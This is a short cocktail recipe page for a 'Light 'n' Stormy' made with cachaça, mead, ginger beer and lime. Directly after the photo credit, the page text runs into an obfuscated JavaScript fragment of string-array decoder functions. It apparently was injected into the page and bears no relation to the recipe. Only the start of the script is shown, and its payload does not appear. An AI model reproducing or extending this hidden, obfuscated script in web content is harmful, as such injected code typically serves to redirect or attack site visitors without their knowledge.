Recipes

Light ’n’ Stormy

In Drink Recipes By Lisë Stern / September 2013

Adapted from Maine Mead Works.1-inch piece fresh ginger2 lime wedges, divided2 ounces cachaça (Brazilian rum)½ ounce HoneyMaker Semi-Sweet Meadsplash ginger beer (such as Captain Eli’s) 1. In a dry mixing glass, muddle the ginger and 1 lime wedge.2. Add the cachaca and mead and fill with ice. Shake and strain into a tall glass filled with ice. Top with ginger beer and garnish with remaining lime wedge.Makes 1 serving Photograph by Sara Beth Nelson function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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